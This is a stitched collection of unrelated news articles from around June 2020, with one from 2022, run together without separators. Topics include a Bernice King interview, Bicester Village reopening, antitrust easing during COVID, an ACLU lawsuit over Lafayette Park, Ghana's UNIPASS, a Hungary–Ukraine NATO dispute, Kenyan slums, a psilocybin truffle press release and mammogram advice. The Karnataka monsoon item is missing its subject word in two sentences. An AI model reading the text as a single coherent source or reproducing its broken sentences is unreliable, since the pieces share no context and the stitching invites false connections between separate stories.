I think that my mother and father always believed that through nonviolent means we could build community, and somehow we've got to get focused back on building community. We've got to get through this particular crisis.

We've got to modify, maybe even the legal system, totally. When you think about the fact that we have a criminal-justice system that really is not just for black people, for brown people, for poor people  it works probably if you have some resources, but the vast majority of people who do not, it doesn't work for.

Trump during the pandemic and the protests

Business Insider: How are you feeling about the leadership we've seen from the White House in the past few days?

King: The leadership of the White House has been inept. It was absolutely beyond insensitive to move peaceful demonstrators so the president can have a photo op at a church.

President Trump holds a Bible while visiting St. John's Church across from the White House after the area was cleared of people protesting the death of George Floyd June 1, 2020, in Washington, DC.

BRENDAN SMIALOWSKI/AFP via Getty Images

We have to find a way to cool America down, not just stoke America up by saying that we've got to have the military come into these communities. It's almost like a bully  the language that bullies use.

This is not what a president should be using. There are times when, yes, the president has to be assertive and aggressive, but I know that, during this time, that's not what's needed. So I'm certainly greatly disappointed. It certainly does not feel right in terms of the right kind of leadership that we need at a moment like this is. I'm not even sure if it's called leadership.

Voting is the strongest act of anti-racism

Business Insider: How can people be actively anti-racist and push this movement forward right now?

King: We must vote in larger numbers. So I think that  and I don't mean just president  I'm talking about for local elected officials, whether it's judges, whether it's county commissioners, whether it's state legislative seats, it's board of education seats, and, of course, congresspersons and senators, along with the president.

So one of the greatest things that people can do is to be engaged in this process and cast their votes because voting matters. Look at the leadership the president provides. That should give you reason to understand why elections matter.

Forgiveness is the way forward

Business Insider: Given the unrest you experienced as a child, was there anything your father taught you that feels applicable now?

King: We've got to learn how to forgive. In our nation, we don't know how to do that much. We harp and hold on to things. And when you're angry and respond out of anger, you're generally not going to have the best response.

I always hope that I am giving love whenever I go out into the world. Whatever my message is, I hope it comes through in the spirit of love and not in the spirit of antagonism and hate. Even if one doesn't agree with me, I hope that they receive what I say in love.

Dad used to teach us that you can disagree without being disagreeable. That was his mantra.

Read the original article on Business Insider
Through the interminable weeks of the lockdown, Bicester Village has been like a retail Brigadoon.

Back in the days of what used to be normal life, its thoroughfares teemed and thrummed with life.

Tills rang and changing room curtains swooshed as visitors scooped up armfuls of bargains, bargains, bargains. Now, there is only silence and empty streets.

The good old days: Back in the days of what used to be normal life, its thoroughfares teemed and thrummed with life

But the world-famous outlet shopping centre is preparing to spring back into life on June 15 when 'non-essential retailers'  devotees of designer labels might beg to differ over that description  are allowed to open up again.

When it does, there will be new mega-brands on sale including Christian Louboutin, whose red-soled stilettos shot to fame on the feet of Carrie Bradshaw in Sex And The City, and Etro, the luxury Italian label known for its paisley prints. Other new signings agreed during lockdown include Roland Mouret and Prada.

It's news to cheer any cash-conscious fashionista's heart after weeks of retail deprivation.

But can we really, in these grim times, go back to shopping till we drop? What is the future for a spendaholic's paradise like Bicester Village in a chastened post-pandemic Britain?

Deputy chairman James Lambert, 63, says that, with creative thinking, it will once again be a honeypot for shoppers, albeit in a new safety-conscious age.

'I feel tremendously energised about the re-opening,' he said. 'It will be a great moment, fantastic to see the mall come to life again. The village needs people otherwise it is just real estate.'

One new weapon in the armoury, he says, is an app that enables social distancing inside the shops without having to queue for ages, as shoppers have done outside the supermarkets and Ikea.

Lining up to shop would, of course, be decidedly un-Bicester, not to mention pretty joyless.

'This app removes the need to queue,' says Lambert. 'Queuing is a dismal experience. We Brits are supposed to like it, but we don't really. What happens is that you scan a QR code on the shop front with the camera on your smart phone.

You get a text confirmation  it is multi-lingual  then you can wander around until it is your entry time. It is rather like the old fashioned numbers they would give out at the deli counter, where you took a ticket and they would shout out your number when it was your turn.'

One consequence of Covid-19 is there will be an unprecedented amount of luxe garments up for grabs in the coming months, as designers have store-rooms full of clothes from collections this year that have gone unsold due to coronavirus.

That will act as a temptation when Bicester, which attracted more than 7m visitors last year, opens its doors again later this month. But just how good will the bargains be, and how big is that pile of designer gear?

Lambert is a little coy. 'We are working hard to get an orderly flow of stock. It will be authentic and high quality. I have a strong sense there will be an unusually large quantity of it.'

In normal times Bicester, in Oxfordshire, is one of Britain's biggest tourist attractions, not far behind Buckingham Palace with the Chinese.

The formula is simple: think Bond Street brands, but with up to 60 per cent off. So successful has it been that Bicester Village even boasts its own railway station, and before Covid-19, red-caped staff used to patrol Marylebone in London to help tourists get on the right train.

Once on board, there were helpful announcements in Mandarin and Arabic telling them when to get off. Visitors are drawn by more than 160 boutiques, clustered together in the style of a traditional High Street, albeit a very upmarket one.

Bicester began life in 1994, the brainchild of American entrepreneur Scott Malkin. It has since expanded so there is a string of outlet villages abroad, in several European countries and two in China.

Megabrands: Christian Louboutin's red-soled stilettos shot to fame on the feet of Carrie Bradshaw in Sex And The City

The owner, Value Retail PLC, rang up sales of nearly 260m in 2018. Property investment company Hammerson owns a 50 per cent stake. Some of the villages abroad, including in China, Germany, Belgium, France and Italy, have already re-opened.

Lambert says: 'The experience in China and Europe is that we are getting fewer people but they are spending more. We did wonder if it was 'revenge shopping'  a moment of release, or revenge on the virus, when people splurged, but it is a trend that has continued.'

When coronavirus descended, it turned a once-bustling Bicester into a ghost town, with no visitors to clink champagne coupes at the Cafe Wolseley, or to hunt down a bag from Balenciaga.

During the lockdown, Lambert and his fellow Bicester bosses have been working out how to open up whilst preserving the sense of luxury.

After all, there would be little point going out for a burst of retail therapy if you felt tense and nervous.

'We want people to feel safe and comfortable,' he says. 'We want to be an oasis of calm in a troubled world.'

There will be marshalls in the car park so you are not right next to another car. When they arrive, guests will be ushered through a temperature testing tent.

'The checking is non-intrusive and discreet, you just walk through, Lambert says. The loos will be deep cleaned overnight, and treated with a product called Citrox, which has a six-month anti-viral effect. Eateries, including ones run by the Wolseley and Soho Farmhouse, will be open for takeaways.

Some might feel fashion is a frivolous pursuit in the midst of a lethal outbreak. But Bicester is an important part of the local economy, employing around 4,000 people.

'It's not about reckless consumption. It is about a happy experience and it is about supporting the retail economy,' Lambert says. 'Fashion is not all frivolity. It is artistic and enjoyable but the bottom line is it is an enormous employer. And love of luxury is a constant. We are not about consumption, we are about bringing back joy in life, in contrast to the drudge of lockdown.

'When a woman leaves here with a spring in her step, we will have done our job.'
Schools and businesses remained open as Daniel Ortega encouraged residents to attend concerts, parades and sporting events but doctors say crisis is now out of control.

As nations around the world locked down this spring to help contain the coronavirus, Nicaraguas president assured his country there was nothing to worry about.

Schools and businesses remained open as Daniel Ortega encouraged residents to attend concerts, parades and sporting events. Doctors in the country say the situation is now out of control.

Al Jazeeras Teresa Bo reports.
Credit: CC0 Public Domain

Around the start of the COVID-19 crisis, U.S. and European government officials decided to relax their usual vigilance of possible collusion among business interests. The authorities took this uncommon action of easing antitrust guidelines to in order to promote intercorporate cooperation to manufacture sorely needed supplies in the fight against the pandemic, especially medical equipment.

Economist Valerie Suslow, a professor and the vice dean of faculty and research at the Johns Hopkins Carey Business School, has devoted years of study to industrial organization, with a focus on the causes, tactics, and repercussions of cartel activityor the activity of similarly interested corporations. Suslow and her frequent research collaborator, University of Michigan economist Margaret Levenstein, discuss the implications of easing antitrust regulations during the pandemicboth the positive and negative.

In what ways have government authorities eased antitrust regulations during the COVID-19 crisis?

The Department of Justice, Antitrust Division, together with the Federal Trade Commission, released a joint statement in March which explicitly indicated that coordination among those developing improved tests, treatments, and vaccines is permitted. They emphasized that "there are many ways firms, including competitors, can engage in procompetitive collaboration that does not violate the antitrust laws."

Alliances between manufacturing firms that might otherwise be seen as competitors are permitted to bring technical know-how and resources together to address the pandemic crisis. These agencies are using existing and well-established processes to review such proposals for collaboration and are prioritizing these requests to give companies rapid turnaround on decisions. The European Union has made a similar statement, as have the competition authorities in many other countries.

Is this relaxing of regulations open-ended or set for a finite period?

The joint statement from DOJ and FTC says that it is for a limited time: "These sorts of joint efforts, limited in duration and necessary to assist patients, consumers, and communities affected by COVID-19 and its aftermath, may be a necessary response to exigent circumstances that provide Americans with products or services that might not be available otherwise," they advise.

What do you see as the positive and negative impacts of this policy change?

On the positive side: In the case of a crisis around a novel disease, existing supply chains are not likely to immediately produce what is necessarya large increase in ventilators or a new vaccine, for example. We ordinarily rely on prices as signals for allocating resources. In a crisis, there isn't time for that. An ordinary increase in demandsay, for face maskswould lead to an increased price, which would in turn cause companies to increase output from existing plants or build additional capacity; the market price would return to its long-run cost while satisfying the increased demand in the meantime. But it takes time to bring on new capacity and forge novel relationships along the supply chain. Firms may be reluctant to invest to increase supply if they expect this newly increased demand will go away quickly. Allowing firms to collaborate temporarily may reduce the costs and the risks of making these necessary rapid changes.

As for negatives: Research shows that practicing collusion is good for perfecting it. Economic research on the impact of periods of permissiveness toward collusion suggests that firms allowed to cooperate during the National Industrial Recovery Act in the early 1930s were more effective at colluding tacitly when antitrust laws were again actively enforced.

During the Great Depression, a period of significant price deflation, Presidents Hoover and Roosevelt both imagined that price fixing would stem deflation and help in recovery. The more common approach today is to use monetary and fiscal policy to combat the business cycle. After NIRA was found unconstitutional, Roosevelt became a strong proponent of competition policy, and the U.S. promoted the adoption of such policies around the globe after World War II.

The analogy to the situation we find ourselves in today is that the primary tools for combating the pandemic should be public health tools. Competition authorities are appropriately focused on providing exemptions and flexibility narrowly, to address the public health crisis, without unduly undermining competition for the long term.

What can government do to ensure that companies don't take undue advantage of the situation, in either the near or long term?

After Congress passed the American Recovery and Reinvestment Act of 2009 to counteract the Great Recession, the DOJ launched a program to train government officials at all levels on detecting collusion to reduce bid rigging (a form of collusion) in procurement. Oversight of the dispersal of large quantities of money is critical to preventing collusion and corruption. There are other mechanisms that antitrust authorities can put into place and pitfalls to watch for, as we have written about before.

The biggest long-term threat to competition may be from closures of otherwise stable and productive firms, which result in increased concentration of market power. Similarly, there may be acquisitions of firms that have been weakened by the crisis. The crisis has brought attention to the level of concentration that has been permitted to emerge in many supply chains (e.g., meat packing). This level of concentration can have efficiencies but can also undermine competition, and in this instance can create serious vulnerabilities in food supply.

Following the Great Recession, the rate of entry of new firms in the U.S. stayed low for a decade. Not surprisingly, entry of new businesses has plummeted in the past two months. We know that new entry is an important component of competition, deterring collusion and bringing new ideas, technologies, and products to the forefront. It is critical that steps be taken to encourage new firm startups (or re-starts, for those who are now paused) in order to preserve competition as we recover.

Over the past few decades, the U.S. and many other nations have greatly enhanced their capacity to guard against corporate collusion. Given this level of government scrutiny, what would lead some companies to run the risk of getting caught at cartel activity?

There's a lot of money to be made by raising prices, and certain firms (particularly in certain types of industries, locally, nationally, and internationally) are willing to take the risk. At this time, there may be a sense, given signals from DOJ and others, that the government is likely to be more flexible, reducing the deterrence that has resulted over the past couple of decades from earlier prosecutions.

Explore further When corporate acquisitions mean fewer ventilators
(Newser)  Civil rights groups including the ACLU and Black Lives Matter are taking the Trump administration to court over the forcible clearance of protesters ahead of the president's church photo-op across from the White House Monday. In a federal lawsuit filed Thursday, the groups say the use of methods including horses, pepper spray, and rubber bullets to disperse what had been a peaceful protest violated the protesters' rights of free speech and assembly, the Washington Post reports. The widely criticized clearance of the Lafayette Park area happened 30 minutes before Washington, DC's 7pm curfew went into effect. The lawsuit also names Attorney General William Barr, who reportedly ordered the clearance.

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"The presidents shameless, unconstitutional, unprovoked, and frankly criminal attack on protesters because he disagreed with their views shakes the foundation of our nations constitutional order," said Scott Michaelmas, ACLU's DC legal director, per the Guardian. "And when the nations top law enforcement officer becomes complicit in the tactics of an autocrat, it chills protected speech for all of us." The lawsuit seeks damages for those injured in the "unprovoked charge into a crowd of demonstrators" and an order banning Barr and other officials from "repeating the unlawful activities," NPR reports. The ACLU says it plans to file many similar lawsuits across the US in response to police violence against protesters. (Read more President Trump stories.)
President of the Chamber of Freight forwarders and Trade (CTF), Dennis Amfo-Sefah claims those losing port management contracts are the same ones barking at the smooth take-over of UNIPASS at the Port.

He says any attempt to blame President Akufo-Addo for the current technical hitches the implementation of UNIPASS is experiencing won't hold.

Mr Amfo-Sefah noted that just like any other new system, UNIPASS indeed experienced some teething challenges that it was surmounting and it was therefore not reasonable to blame it on the President.

Mr Amfo-Sefah, who was speaking to the Ghana News Agency in Accra on Friday said I can assure you that the claims that we are angry at the President are not true; among us Freight Forwarders, there is no unhappiness towards President Akufo-Addo because we know the truth."

The truth is that people who feel they are losing port management contracts are simply fighting back the smooth take-over of port administration by UNI-PASS; that is the simple truth. These people feel pained about losing the contract to manage the ports and so they have decided not to cooperate.

Mr. Amfo-sefah however failed to name those behind it, saying The people I am referring to know themselves and at the appropriate time everybody will know the real truth.

Some Media outlets since the implementation of the UNIPASS system reported that President Akufo-Addo was becoming unpopular among importers and freight forwarders because of glitches that were bedeviling the new UNI-PASS system.

They attributed the hitches to some senior members of government, who were allegedly responsible for the happenings at the ports for introducing CUPIA Korea and its UNI-PASS system and therefore allegedly orchestrated the abrogation of the contract of GC Net and West Blue to make way for the latter.

However, Dennis Amfo-Sefah pointed out that, Nobody among us is angry with the President or any of his appointees because we know that the mess is not the making of any of them. The arrangement had been for the old operators to slowly back out so that UNI-PASS would slowly take over. This would have led to a seamless integration.

However, the operators of the old system disengaged rather abruptly, leading to the challenges, Mr. Amfo-Sefah said.

According to him, the difficult switch from the old system to the new one was the problem not President Akufo-Addo or his Ministers.

He was however hopeful that the problems would be fixed very soon.

This is the second time that the abrupt disengagement of the old port management system to make way for the new one is causing problems. In early May, a similar disengagement grounded operations at the port for days.

UNI-PASS is a new port clearing system that processes documents and payments through one window. It is a departure from the previous system in which 'valuation and classification' and 'risk management and payment' were handled by different entities.

The single window system is aimed at coordinating all activities at the ports on one platform to reduce time and cost in clearing and exporting goods.

The system, spearheaded by Ghana Link Services Ltd, in collaboration with Customs UNIPASS International Agency (CUPIA) of the Korean Customs Service, the designer of the system, replaces the Pre-Arrival Assessment Report (PAARS) and the Ghana Customs Management System (GCMS) jointly operated by the Customs Division, the Ghana Community Network Services (GCNet) Ltd and West Blue Consulting.
Meanwhile, Hungary's political leaders seem oblivious to the risk that their tactics in NATO may set a precedent whereby other member countries would inject parochial issues into the Alliance unrelated to its mandate and missions.

Kyiv and Budapest have initiated an effort to resolve their differences over the impact of Ukrainian language and education laws on the Hungarian national minority in Ukraine's Zakarpattia region.

Budapest's position is based on a sui generis conception of Hungarian national community entitlements in Zakarpattia. Versions of that conception also apply to Hungary's kin communities in other neighboring countries. Budapest, however, since late 2017, has been blocking NATO-Ukraine meetings at the presidential, ministerial and flag-officer levels, jeopardizing NATO-Ukraine cooperation programs amidst the Russia-Ukraine war, the Jamestown Foundation reports.

To generate pressure on Ukraine to fall into line with that conception, Budapest seeks, in effect, to misuse NATO and divert it from its purposes (not overly ambitious in the first place) regarding Ukraine. Hungary's political leaders seem oblivious to the risk that their tactics may set a precedent whereby other NATO member countries would inject parochial issues into the Alliance unrelated to its mandate and missions. For its part, the North Atlantic Alliance collectively takes the position that this dispute is only for Hungary and Ukraine to settle bilaterally. Yet, NATO's consensus-based decision-making has left the Alliance with no choice but to accept Budapest's veto against senior-level meetings with Ukraine.

Read alsoUkraine, Hungary seek to overcome impasse over language law impeding NATO initiatives  media

The controversy can also complicate Ukraine's position in the context of the European Union. As an EU-aspirant country, Ukraine must in its own interest accept Brussels' assessments of Ukrainian domestic legislation and policies. EU institutions, among them the Venice Commission, would be loath to side with one EU member country against another member country, but might deem unproblematic politically to go along with an EU country's perspective against that of a non-member. Furthermore, current notions of multiculturalism in Western Europe may complicate the understanding of Ukraine's nation- and state-building tasks. As a latecomer to statehood, Ukraine must of necessity focus on the national language and education, as was the case everywhere in Europe earlier, during the state-building phase.

While Ukraine is keen to overcome the two-and-a-half-year-old stalemate at NATO, Hungary cannot be comfortable with that stalemate either, as initial Hungarian objectives remain unfulfilled. Meanwhile, Budapest interprets the political changes in Ukraine as having brought to power a "less nationalistic" president and parliamentary majority. Consequently, Budapest sees an opportunity to secure certain entitlements for the Hungarian national community on school education, language use and, possibly, the legalization of dual citizenship in Ukraine. The Hungarian government proposes to attain these objectives by agreement between Kyiv on one side and the Zakarpattia Hungarian representatives and Budapest on the other side.

Both Kyiv and Budapest now seem to envisage possibilities for normalizing relations on two tracks: Ukrainian accommodation of some Hungarian national minority grievances, in correlation with Budapest's support for economic and infrastructure programs in Ukraine's Hungarian-inhabited Zakarpattia districts. The linkage is implicit but fairly apparent on both sides.

Hungary's complaints have centered on three Ukrainian legislative acts: on education, on ensuring the functioning of the Ukrainian language as the state language, and on secondary-level education.

The Ukrainian government has changed three ministers of education in close succession in the last ten months. The current government will be taking the Venice Commissions recommendations under serious consideration.
AMHERST  Police say they have received a substantial amount" of calls from residents reporting fraudulent unemployment claims being filed with their stolen identities.

Those who learn that a fraudulent claim has been filed under their names are asked to report it via the state Department of Unemployment Assistance online fraud reporting form or by calling the departments customer line at 877-626-6800.

Police, in a post on the departments Facebook page, state the DUA, once notified, will provide victims with the necessary steps to stop fraudulent claims from being processed and payments being made under their identities.

The DUA will then freeze the fraudulent account and take steps to ensure any fraudulent payments made will not be recognized as income to victims at the end of the calendar year.

In addition, the fraudulent claim will not impact the ability of victims to collect unemployment in the future and no charges will be assessed to their employers.

The scam, according to the DUA website, is part of a national unemployment fraud scheme. There is no evidence, however, of a statewide data breach.

Massachusetts residents may receive communications about a fraudulent claim from DUA by text message, email, or letter.

Police could not immediately be reached for comment Friday morning.
Source: Xinhua| 2020-06-05 21:27:12|Editor: huaxia

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NAIROBI, June 5 (Xinhua) -- Johnston Waweru huddles around a communal water point with nearly ten other people, all eagerly waiting to fetch water, a precious commodity in the informal settlement area. Here, the idea of social distancing is a myth.

The middle-aged casual laborer is a resident of the densely inhabited Kiambiu slums, located on the eastern edges of the Kenyan capital, Nairobi.

Kiambiu slum is characterized by littered broken bottles, haphazardly disposed face coverings, the trade of uncovered cooked food and close engagements of area residents oblivious of a looming danger.

Waweru's living environment mirrors the circumstances inhibiting containment measures aimed at slowing the spread of coronavirus in Kenya's informal settlement areas.

"Social distancing is impossible if not unachievable because of our poor economic status. Our quarters are thinly spaced out leaving no adequate space for the pathways," said Waweru. "It is common to rub shoulders with people along the narrow paths."

Last year's national census put Kenya's urban informal settlement population at over 1.5 million. The presence of a large population coupled with poor sanitation has made these areas a ticking time bomb.

Some major slums in Nairobi that have seen a spike of positive cases include, Kibra, Mathare, Mukuru kwa Njenga, Mukuru kwa Ruben and Kawangware.

The government established an exponential rise in cases after conducting targeted testing in these areas.

Waweru says that his community is aware of a simmering health crisis, however implementing some directives such as hunkering down at home is not an option for people who live from hand to mouth.

"We are making use of handwashing stations donated by well-wishers as well as donning our face masks but we still feel at risk. Financial constraints have kept residents with underlying health conditions out of hospital, leaving them vulnerable to COVID-19," Waweru told Xinhua during a recent interview.

Kibra, the largest slum in Africa has recorded more than 200 positive cases and the government has alluded at introducing further measures in addition to the dawn to dusk curfew, to protect the area from a disastrous eventuality.

"We are continuing to watch this epicenter within Kibra and are mapping out clusters because it's possible that not the entire Kibra has cases. Meanwhile, measures to completely lock them down are on the table and the government will effect this when it feels it's necessary," said Rashid Aman, chief administrative secretary, Ministry of Health.

On account of this situation, community interventions as well as grass-root authority has been singled out by health experts as an effective way of sensitizing communities living in the urban slums.

"My administration has been conducting community sensitization through community healthcare volunteers who move from home to home educating residents on preventive inexpensive measures they can adopt to keep the disease at bay," said Paul Runo, an administrator at Kiambiu slums.

He said that his administration continues to receive donations of masks, sanitizers as well as soap from the national government while reiterating his commitment to working with local communities to protect them from the disease.

"My administration will continue to enforce comprehensive and rigorous preventive measures to ensure the disease does not penetrate into the area," said Runo.

Even as Kenya started recording COVID-19 cases in three digits, President Uhuru Kenyatta recently hinted at de-escalating restriction measures in the country.

"We cannot be in lockdown forever, we have to reopen our economy somehow as much as we are seeing cases rising. We are also seeing more people recovering and not many people dying," Kenyatta said. Enditem
The much awaited entered Karnataka with widespread rain in coastal and central regions of the southern state, an official said on Friday. Rain and thundershowers are likely to occur at most places over coastal areas and at a few places over the interior parts over the next 24-48 hours.

"The entered the state on Thursday as predicted from Kerala and the Arabian Sea, with moderate to heavy rainfall in the coastal districts and central or Malnad region of the state," Karnataka State Natural Disaster Monitoring Centre Director Srinivas Reddy told news agency IANS here.

Though the has set in on time in the state, Reddy said its progress was likely to be slow in the next three days, as cyclone Nisarga induced high-speed winds took away rain-bearing clouds from the southern peninsula.

According to the regional meteorological office, Karwar in Uttar Kannada district received a whopping 15cm rainfall on Thursday, followed by 11cm each at Kundapur in Udupi district and Shivamogga in Malnad region.



ALSO READ: Lockdown gives time for highway repairs before monsoon rains begin

Kadra and Gersoppa in Uttara Kannada and Kottigehara in Chikkamagaluru district had 10cm rainfall, followed by 8cm at Virajpet in Kodagu district and 7cm each at Shirali and Gokarana in Uttara Kannda.

Isolated to scattered rainfall also occurred in many places across the north and south interior regions of the state.

"The monsoon will advance in the state to south and north interior areas after June 8 as there is lull in its movement due to lack of rain-bearing clouds and winds to carry them," said Reddy.

Noting that the four-month monsoon from June to September, crucial to the rain-dependent state would be normal this year, Reddy said its progress and spread, however, would depend on various factors like cloud formations and wind movements.

"Conditions are likely to become favourable for monsoon advancement in the state over the next 2-3 days," asserted Reddy.
Toronto, Ontario--(Newsfile Corp. - June 4, 2020) - Red Light Holland Corp. (CSE:TRIP) ("Red Light Holland" or the "Company"), an Ontario-based corporation positioning itself to engage in the production, growth and sale of a premium brand of magic truffles to the recreational market within the Netherlands, is pleased to announce that it has initiated the development of legal psychedelic truffle microdosing packs ("Microdosing Packs") to be supplied, produced, and packaged by McSmart (as defined in the Company's Listing Statement) under the Red Light Holland brand.





Red Light Holland Microdosing Packs

To view an enhanced version of this graphic, please visit:

https://orders.newsfilecorp.com/files/2017/57263_61c1d909044d786b_001full.jpg

The Microdosing Packs will be supplied, produced and packaged in collaboration with McSmart, one of the Netherland's prominent truffle growers, distributors and smart shop owners. McSmart will supply, produce, and package the Microdosing Packs under the Red Light Holland brand. McSmart has also agreed to market and offer for sale Red Light Holland's microdosing products within the Netherlands in three smart shops operated by McSmart. Red Light Holland and McSmart previously entered into a letter of intent, and intend to capitalize on market interest and enter into definitive documentation and launch the Microdosing Packs as soon as possible.

"We are stoked to be one step closer to becoming the world's first ever publicly-traded company to bring legal and natural microdosing packs to the legal recreational truffles market in the Netherlands. Microdosing is huge in Silicon Valley, art communities, and even on Bay Street! But if you ask anyone if they are microdosing psilocybin, and they say 'yes' - well - they are doing it illegally. We are grateful for this partnership with McSmart, a very respected brand in the Netherlands, to move forward with our plans to help people microdose legally," said Todd Shapiro, CEO and Director. "In addition, our preliminary product designs are stunning and highlight our brand's premium and natural feel. This represents an important milestone for Red Light Holland and we are looking forward to getting our legal microdosing products on shelves as soon as possible."

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About Red Light Holland Corp.

The Company is an Ontario-based corporation positioning itself to engage in the production, growth and sale (through existing Smart Shops operators and an advanced e-commerce platform) of a premium brand of magic truffles to the legal, recreational market within the Netherlands, in accordance with the highest standards, in compliance with all applicable laws.

For additional information on the Company:

Todd Shapiro

Chief Executive Officer & Director

Tel: 647-204-7129

Email: todd@redlighttruffles.com

Website: https://redlighttruffles.com/

Forward-Looking Statements

Neither the Canadian Securities Exchange (the "CSE") nor its Market Regulator (as that term is defined in the policies of the CSE) accepts responsibility for the adequacy or accuracy of this release.

This press release contains certain "forward-looking information" within the meaning of applicable Canadian securities legislation. Such forward-looking information and forward-looking statements are not representative of historical facts or information or current condition, but instead represent only the Company's beliefs regarding future events, plans or objectives, many of which, by their nature, are inherently uncertain and outside of the Company's control.

Generally, such forward-looking information or forward-looking statements can be identified by the use of forward-looking terminology such as "plans", "expects" or "does not expect", "is expected", "budget", "scheduled", "estimates", "forecasts", "intends", "anticipates" or "does not anticipate", or "believes", or variations of such words and phrases or may contain statements that certain actions, events or results "may", "could", "would", "might" or "will be taken", "will continue", "will occur" or "will be achieved". The forward-looking information and forward- looking statements contained herein include, but are not limited to, information concerning the LOI, including the proposed execution of a definitive agreement with McSmart, the production and distribution of Microdosing Packs, the sale of Red Light Holland's products in smart shops operated by McSmart, and that the Company will successfully participate in the production, growth and sale of a truffles to the recreational market within the Netherlands Although the Company believes that the assumptions and factors used in preparing, and the expectations contained in, the forward-looking information and statements are reasonable, undue reliance should not be placed on such information and statements, and no assurance or guarantee can be given that such forward- looking information and statements will prove to be accurate, as actual results and future events could differ materially from those anticipated in such information and statements. In particular, there is no guarantee that the parties will successfully negotiate and enter into a binding agreement or complete the various transactions contemplated within the LOI on the terms contemplated herein or at all, that the timing anticipated by the parties to deliver a definitive agreement will be achieved. The forward-looking information and forward-looking statements contained in this press release are made as of the date of this press release, and the Company does not undertake to update any forward-looking information and/or forward-looking statements that are contained or referenced herein, except in accordance with applicable securities laws.

Not for distribution to United States newswire services or for dissemination in the United States.

To view the source version of this press release, please visit https://www.newsfilecorp.com/release/57263
Open Doors USA CEO urges Christians to boycott Beijing Olympics By Ryan Foley Kevin Frayer/Getty Images The Olympic Rings are seen inside one of the Athletes Villages for the Beijing 2022 Winter Olympics before the area was closed on January 3, 2022, in Chongli county, Zhangjiakou, Hebei province, northern China. The area, which will host ski and snowboard events during the Winter Olympics and Paralympics was closed off to all tourists and visitors as of January 4, 2022, and will be part of the bubble due to the global coronavirus pandemic for athletes, journalists and officials taking part in the games. The Beijing 2022 Winter Olympics are set to open February 4. The CEO of a leading religious freedom advocacy organization is urging Christians in the United States to boycott the upcoming Winter Olympics scheduled to take place in Beijing, China, due to the countrys persecution of Christians and other religious minorities. David Curry, CEO of the religious persecution watchdog Open Doors USA, discussed the actions taken by the Chinese government against Christians and other religious minorities at a press conference unveiling the organizations 2022 World Watch List on Wednesday. While Open Doors USA ranked China 17th among the top 50 countries where it's most difficult to follow Jesus, Curry dedicated a significant portion of the press conference to highlighting the religious persecution perpetrated by the Chinese Communist Party. Curry also addressed the 2022 Winter Olympics scheduled to kick off in Beijing on Feb. 4. He cited the upcoming Olympics as one example of how China is using sports, money and investment in infrastructure around the world to whitewash their human rights violations. While Curry praised the Biden administrations diplomatic boycott of the Olympics, he stressed that every Christian in the United States had an obligation to go a step further. Open Doors USA  is calling on every Christian to join this boycott of the Olympics in the name of our persecuted brothers and sisters in China. He acknowledged that the persecution of religious minorities extends beyond Christians to include Uyghurs, a predominantly Muslim ethnic group in the countrys far-western region that the Chinese Communist Party subjects to forced labor. Curry elaborated on his call for a boycott in response to a question from a reporter. I am suggesting that people dont watch the Olympics, that they dont participate in whatever way they normally would, he said. While Curry lamented Chinas human rights records, particularly regarding religious minorities, he defended Open Doors USAs decision not to place China higher on the list of the top 50 most dangerous countries for Christians. Whats not happening and ... why it is lower is because theyre not lining people up and shooting them, at least that were aware of, he added. Thats happening in some places. Curry expressed particular concern about Chinas use of centralized government control to suppress and exterminate the free practice of religion of all kinds. Curry added, Chinas high-tech noose is slowly choking the free expression of Christian faith and the faith of Muslims and other religious minorities. China is using a blanket of surveillance monitored by artificial intelligence to watch the movements of people of faith. Its even using facial recognition to monitor those who enter places of worship, he explained. China recently implemented additional restrictions on Christian Bibles and literature online, for example. Only groups that recognize the Communist Party of China and their censorship of their sermons and Bibles will be allowed to distribute the Scripture. Curry warned that in the near future, 100 million followers of Jesus in China will be subjected to Bibles that have key elements removed or changed because they conflict with communist dogma. He also reported that churches are being forced to disband and break into small pieces or go underground and attributed the governments hostility toward religion to the fact that President Xi and the Communist Party sees religion as a threat because its not aligned with the values of the Chinese state. Additionally, Curry discussed the implications of Chinas development of a blueprint  for how a government  can centralize control and monitor behavior of people can squeeze  and punish people without them ever leaving their home. He predicted that China would establish digital currencies in the near future, which would cut off the ability of Christians and others who do not conform to the government the ability to do anything, even buy a loaf of bread. Curry is not the only public figure calling for a boycott of the 2022 Olympics. Fox News' opinion host Laura Ingraham has launched the #NotOneMinute campaign, urging her viewers to watch not one minute of this years Olympics. Ingraham is also encouraging her viewers to boycott the corporations that are sponsoring the 2022 Beijing Olympics, including Airbnb, Bridgestone, Coca-Cola, Panasonic, Samsung, Toyota and Visa. The complete World Watch List of 2022 is available for purchase on the Open Doors USA website.
Brussels, June 5 (IANS) Countries across Europe are keen to reopen their borders in time for the summer tourist season, but while some states are working together it has not yet been organised across the EU, it was reported on Friday.

The EU Commissioner for Home Affairs Ylva Johansson said states should reopen internal borders by end of June, the BBC reported

Johansson, who made the comments before a meeting of national ministers on Friday, added that she wanted all EU states to agree a date for the end of June.

Italy, one of the hardest hit European country, opened its borders on Wednesday.

Austria lifted its border restrictions on Wednesday night to all its neighbours bar Italy.

Spain plans to reopen its borders on July 1 only to neighbours France and Portugal.

It is not yet ready to open up to other countries.

Belgium is one of the EU states expected to open its borders on June 15.

France is also hoping that tourists will return and is pushing a plan to lift all the borders in the Schengen passport-free zone on July 1.

--IANS

ksk/
Over the last few months, weve all primarily focused on flattening the curve and keeping ourselves and loved ones safe from COVID-19. And even though coronavirus cases are stabilizing in the community, we must continue to stay committed to preventing the spread of this new virus.

But, as we begin to settle into our new normal  knowing that the new coronavirus will be with us for some time  we should start thinking about our overall health and wellness again. According to the American College of Radiology (ACR) and the Society of Breast Imaging (SBI), women should start getting their annual mammogram at age 40, said Amy Sebastian-Deutsch, DNP, APRN, CNS, AOCNS.

Many of us spent the last two months putting our personal health care on hold, but now its time to re- focus on our total health. Early detection of breast cancer with annual mammography remains our most powerful tool in the fight against breast cancer in women.

Here are three things Sebastian-Deutsch would like women to know about getting their annual mammogram in the time of COVID-19.

Were offering routine screening mammograms and diagnostic mammograms

Now that our COVID-19 patient population has stabilized and statewide restrictions have been lifted, were resuming care and offering both routine screening mammograms and diagnostic mammograms.

As stated earlier, a screening mammogram is recommended annually for women starting at age 40 (ACR & SBI). This type of mammogram is a yearly, routine check for breast cancer in women who have no symptoms or lumps. At Houston Methodist Sugar Land, an order is not required for a screening mammogram.

A diagnostic mammogram is different from a screening mammogram. Its used if palpable lumps are felt or other clinical symptoms appear. Your doctor will help you understand which one is right for you.

Were taking every precaution to keep you safe

We have turned our full scope of mammogram services back on, with an abundance of caution, Sebastian-Deutsch explained. As always, were putting patient safety at the forefront.

